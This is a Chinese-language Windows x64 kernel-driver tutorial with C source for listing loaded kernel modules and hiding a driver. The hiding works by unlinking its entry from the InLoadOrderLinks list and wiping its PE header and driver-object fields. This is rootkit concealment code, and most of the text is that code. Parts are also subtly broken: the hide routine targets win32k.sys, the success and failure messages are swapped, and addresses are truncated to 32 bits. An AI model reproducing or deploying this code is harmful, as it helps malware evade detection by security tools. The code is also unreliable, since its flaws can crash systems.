在 WIN64 上枚举内核模块有两种方法:使用 ZwQuerySystemInformation 的第 11 号功能(SystemModuleInformation)和枚举 KLDR_DATA_TABLE_ENTRY 中的 InLoadOrderLinks 双向链表;
隐藏内核模块的通用方法是把指定的驱动对象从 KLDR_DATA_TABLE_ENTRY中的 InLoadOrderLinks 双向链表上摘除。
#include <ntddk.h>
#include <ntimage.h>
// dt _LDR_DATA_TABLE_ENTRY
typedef struct _KLDR_DATA_TABLE_ENTRY
{
LIST_ENTRY InLoadOrderLinks;//这个成员把系统所有加载(可能是停止没被卸载)已经读取到内存中 我们关心第一个 我们要遍历链表 双链表 不管中间哪个节点都可以遍历整个链表 本驱动的驱动对象就是一个节点
LIST_ENTRY InMemoryOrderLinks;//系统已经启动 没有被初始化 没有调用DriverEntry这个历程的时候 通过这个链表进程串接起来
LIST_ENTRY InInitializationOrderLinks;//已经调用DriverEntry这个函数的所有驱动程序
PVOID DllBase;
PVOID EntryPoint;//驱动的进入点 DriverEntry
ULONG SizeOfImage;
UNICODE_STRING FullDllName;//驱动的满路径
UNICODE_STRING BaseDllName;//不带路径的驱动名字
ULONG Flags;
USHORT LoadCount;
USHORT TlsIndex;
union {
LIST_ENTRY HashLinks;
struct {
PVOID SectionPointer;
ULONG CheckSum;
};
};
union {
struct {
ULONG TimeDateStamp;
};
struct {
PVOID LoadedImports;
};
};
} KLDR_DATA_TABLE_ENTRY, *PKLDR_DATA_TABLE_ENTRY;
//系统所有程序 驱动对象里都有这个结构 是驱动对象的成员qudongduixiang1->DriverSection(PVOID DriverSection) 这个结构体在什么时候有的 io管理器在加载我们驱动的时候
//调用DriverEntry这个历程的时候 把我们驱动对象也加入到系统的一个全局链表中
//就是为了方便io管理器进行维护或者方便对象管理器进行维护 为了查找方便 这个全局链表呢 把系统所有驱动程序串起来就是连接起来
VOID EnumDriver(PDRIVER_OBJECT pDriverObject)
{
PKLDR_DATA_TABLE_ENTRY entry = (PKLDR_DATA_TABLE_ENTRY)pDriverObject->DriverSection;
PKLDR_DATA_TABLE_ENTRY firstEntry;
ULONG64 pDrvBase = 0;
KIRQL OldIrql;
firstEntry = entry;
while ((PKLDR_DATA_TABLE_ENTRY)entry->InLoadOrderLinks.Flink != firstEntry)
{
DbgPrint("BASE=%p\tPATH=%wZ", entry->DllBase, entry->FullDllName);
entry = (PKLDR_DATA_TABLE_ENTRY)entry->InLoadOrderLinks.Flink;
}
}
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
///////////
//隐藏驱动
NTSYSAPI NTSTATUS NTAPI ZwQuerySystemInformation
(
IN ULONG SystemInformationClass,
OUT PVOID SystemInformation,
IN ULONG Length,
OUT PULONG ReturnLength
);
typedef struct _SYSTEM_MODULE_INFORMATION_ENTRY
{
ULONG Unknow1;
ULONG Unknow2;
ULONG Unknow3;
ULONG Unknow4;
PVOID Base;
ULONG Size;
ULONG Flags;
USHORT Index;
USHORT NameLength;
USHORT LoadCount;
USHORT ModuleNameOffset;
char ImageName[256];
} SYSTEM_MODULE_INFORMATION_ENTRY, *PSYSTEM_MODULE_INFORMATION_ENTRY;
typedef struct _SYSTEM_MODULE_INFORMATION
{
ULONG Count;//内核中以加载的模块的个数
SYSTEM_MODULE_INFORMATION_ENTRY Module[1];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;
typedef struct _KLDR_DATA_TABLE_ENTRY_64
{
LIST_ENTRY64 InLoadOrderLinks;
ULONG64 __Undefined1;
ULONG64 __Undefined2;
ULONG64 __Undefined3;
ULONG64 NonPagedDebugInfo;
ULONG64 DllBase;
ULONG64 EntryPoint;
ULONG SizeOfImage;
UNICODE_STRING FullDllName;
UNICODE_STRING BaseDllName;
ULONG Flags;
USHORT LoadCount;
USHORT __Undefined5;
ULONG64 __Undefined6;
ULONG CheckSum;
ULONG __padding1;
ULONG TimeDateStamp;
ULONG __padding2;
}KLDR_DATA_TABLE_ENTRY_64, *PKLDR_DATA_TABLE_ENTRY_64;
ULONG64 GetSystemModuleBase(char* lpModuleName)
{
ULONG NeedSize, i, ModuleCount, BufferSize = 0x5000;
PVOID pBuffer = NULL;
PCHAR pDrvName = NULL;
NTSTATUS Result;
PSYSTEM_MODULE_INFORMATION pSystemModuleInformation;
do
{
//分配内存
pBuffer = kmalloc(BufferSize);
if (pBuffer == NULL)
return 0;
//查询模块信息 SystemModuleInformation
Result = ZwQuerySystemInformation(11, pBuffer, BufferSize, &NeedSize);
if (Result == STATUS_INFO_LENGTH_MISMATCH)
{
kfree(pBuffer);
BufferSize *= 2;
}
else if (!NT_SUCCESS(Result))
{
//查询失败则退出
kfree(pBuffer);
return 0;
}
} while (Result == STATUS_INFO_LENGTH_MISMATCH);
pSystemModuleInformation = (PSYSTEM_MODULE_INFORMATION)pBuffer;
//获得模块的总数量
ModuleCount = pSystemModuleInformation->Count;
//遍历所有的模块
for (i = 0; i < ModuleCount; i++)
{
if ((ULONG64)(pSystemModuleInformation->Module[i].Base) >(ULONG64)0x8000000000000000)
{
pDrvName = pSystemModuleInformation->Module[i].ImageName + pSystemModuleInformation->Module[i].ModuleNameOffset;
if (_stricmp(pDrvName, lpModuleName) == 0)
return (ULONG64)pSystemModuleInformation->Module[i].Base;
}
}
kfree(pBuffer);
return 0;
}
//抹去pe头,参数:驱动对象
BOOL HideDriverFromPeHeader(PDRIVER_OBJECT pDriverObject)
{
PMDL pHeaderMdl;
PIMAGE_DOS_HEADER ImageDosHeader;
PIMAGE_NT_HEADERS ImageNtHeaders;
BYTE *ImageBaseShadow;
ULONG ImageBase;
DWORD dwLdrDataTableEntry = 0;
BOOL bRetOK = FALSE;
//判断当前的irql是否高于PASSIVE_LEVEL
if (KeGetCurrentIrql() > PASSIVE_LEVEL)
{
return bRetOK;
}
//就是驱动的起始地址
ImageBase = (ULONG)pDriverObject->DriverStart;
__try
{
//判断是否是有效的pe文件内存
ImageDosHeader = (PIMAGE_DOS_HEADER)ImageBase;
if (ImageDosHeader->e_magic != IMAGE_DOS_SIGNATURE)
{
return bRetOK;
}
DbgPrint("ImageDosHeader %x", (DWORD)ImageDosHeader);
ImageNtHeaders = (PIMAGE_NT_HEADERS)(ImageBase + ImageDosHeader->e_lfanew);
if (ImageNtHeaders->Signature != IMAGE_NT_SIGNATURE)
{
return bRetOK;
}
//到这里就得到了pe的nt结构体
DbgPrint("ImageNtHeaders %x", (DWORD)ImageNtHeaders);
//利用MDL的方式来修改这个PE
//创建映射
pHeaderMdl = IoAllocateMdl((PVOID)ImageBase, ImageNtHeaders->OptionalHeader.SizeOfHeaders, FALSE, FALSE, NULL);
if (pHeaderMdl)
{
//锁住KernelMode,IoWriteAccess
MmProbeAndLockPages(pHeaderMdl, KernelMode, IoWriteAccess); //锁住,避免被page out,直接会导致MmGetSystemAddressForMdl蓝屏 - -。
MmMapLockedPagesSpecifyCache(pHeaderMdl, KernelMode, MmWriteCombined, NULL, FALSE, NormalPagePriority);
//到这里呢,我们就得到了一个安全的可以操作的映射地址
//我们对这个映射地址的操作,就相当于对xuetr的驱动基址进行操作一样
//MDL的方式在SSDT那几节课已经说明
ImageBaseShadow = MmGetSystemAddressForMdlSafe(pHeaderMdl, NormalPagePriority);
if (ImageBaseShadow)
{
//得到pe头
ImageDosHeader = (PIMAGE_DOS_HEADER)ImageBaseShadow;
ImageNtHeaders = (PIMAGE_NT_HEADERS)(ImageBaseShadow + ImageDosHeader->e_lfanew);
//整个PE头清零
*(PUSHORT)ImageDosHeader = 0x00;
*(PULONG)ImageNtHeaders = 0x00;
//抹掉DriverObject结构的中的信息
DbgPrint("pDriverObject:%08x\r\n", pDriverObject);
*(PUSHORT)pDriverObject = 0;
DbgPrint("Size:%d\r\n", pDriverObject->Size);
//0x168,抹去,清零
pDriverObject->Size = 0x0;
pDriverObject->DriverStart = 0x0;
pDriverObject->DriverSize = 0x0;
bRetOK = TRUE;
}
//解除映射
MmUnmapLockedPages(ImageBaseShadow, pHeaderMdl);
MmUnlockPages(pHeaderMdl);
IoFreeMdl(pHeaderMdl);
}
}
__except (EXCEPTION_EXECUTE_HANDLER)
{
DbgPrint("PeHeader Error \r\n");
}
return bRetOK;
}
// 隐藏驱动
VOID HideDriver(PDRIVER_OBJECT pDriverObject)
{
PKLDR_DATA_TABLE_ENTRY_64 entry = (PKLDR_DATA_TABLE_ENTRY_64)pDriverObject->DriverSection;
PKLDR_DATA_TABLE_ENTRY_64 firstentry;
ULONG64 pDrvBase = 0;
KIRQL OldIrql;
firstentry = entry;
pDrvBase = GetSystemModuleBase("win32k.sys");
while ((PKLDR_DATA_TABLE_ENTRY_64)entry->InLoadOrderLinks.Flink != firstentry)
{
if (entry->DllBase == pDrvBase)
{
//typedef struct LIST_ENTRY64 {
// ULONGLONG Flink;
// ULONGLONG Blink;
//} LIST_ENTRY64;
//typedef LIST_ENTRY64 *PLIST_ENTRY64;
//le->Flink->Blink=le->Blink;
//le->Blink->Flink=le->Flink;
OldIrql = KeRaiseIrqlToDpcLevel();
((LIST_ENTRY64*)(entry->InLoadOrderLinks.Flink))->Blink = entry->InLoadOrderLinks.Blink;
((LIST_ENTRY64*)(entry->InLoadOrderLinks.Blink))->Flink = entry->InLoadOrderLinks.Flink;
entry->InLoadOrderLinks.Flink = 0;
entry->InLoadOrderLinks.Blink = 0;
KeLowerIrql(OldIrql);
DbgPrint("Remove LIST_ENTRY64 OK!");
break;
}
//kprintf("%llx\t%wZ\t%wZ",entry->DllBase,entry->BaseDllName,entry->FullDllName);
entry = (PKLDR_DATA_TABLE_ENTRY_64)entry->InLoadOrderLinks.Flink;
}
// 抹掉PE的文件信息
if (HideDriverFromPeHeader(pDriverObject))
{
DbgPrint("HideDriverFromPeHeader failed!");
}
else
{
DbgPrint("HideDriverFromPeHeader success!");
}
}